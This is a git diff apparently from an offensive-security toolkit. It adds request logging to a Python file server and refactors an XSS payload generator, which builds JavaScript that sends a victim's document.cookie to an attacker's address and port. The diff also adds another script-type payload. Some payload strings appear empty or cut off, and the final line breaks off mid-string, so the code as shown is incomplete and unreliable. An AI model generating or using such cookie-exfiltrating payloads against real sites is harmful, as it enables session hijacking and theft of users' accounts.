diff --git a/fileserver.py b/fileserver.py index d95a2ab..76114be 100755 --- a/fileserver.py +++ b/fileserver.py @@ -50,6 +50,7 @@ class FileServerRequestHandler(BaseHTTPRequestHandler): body = self.rfile.read(int(contentLength)) print("==========") + print("%s %s %s" % (self.command, self.path, self.request_version)) print(str(self.headers).strip()) if body: print() diff --git a/xss_handler.py b/xss_handler.py index 34d4224..8c91d88 100755 --- a/xss_handler.py +++ b/xss_handler.py @@ -6,11 +6,16 @@ import http.server import socketserver from http.server import HTTPServer, BaseHTTPRequestHandler -def getCookieAddress(address, port): +# returns http address +def getServerAddress(address, port): if port == 80: - return "'http://%s/?x='+document.cookie" % address + return "http://%s" % address else: - return "'http://%s:%d/?x='+document.cookie" % (address, port) + return "http://%s:%d" % (address, port) + +# returns js code: 'http://xxxx:yy/?x='+document.cookie +def getCookieAddress(address, port): + return "'%s/?x='+document.cookie" % getServerAddress(address, port) def generatePayload(type, address, port): @@ -23,6 +28,7 @@ def generatePayload(type, address, port): if type == "script": payloads.append('' % cookieAddress) + payloads.append('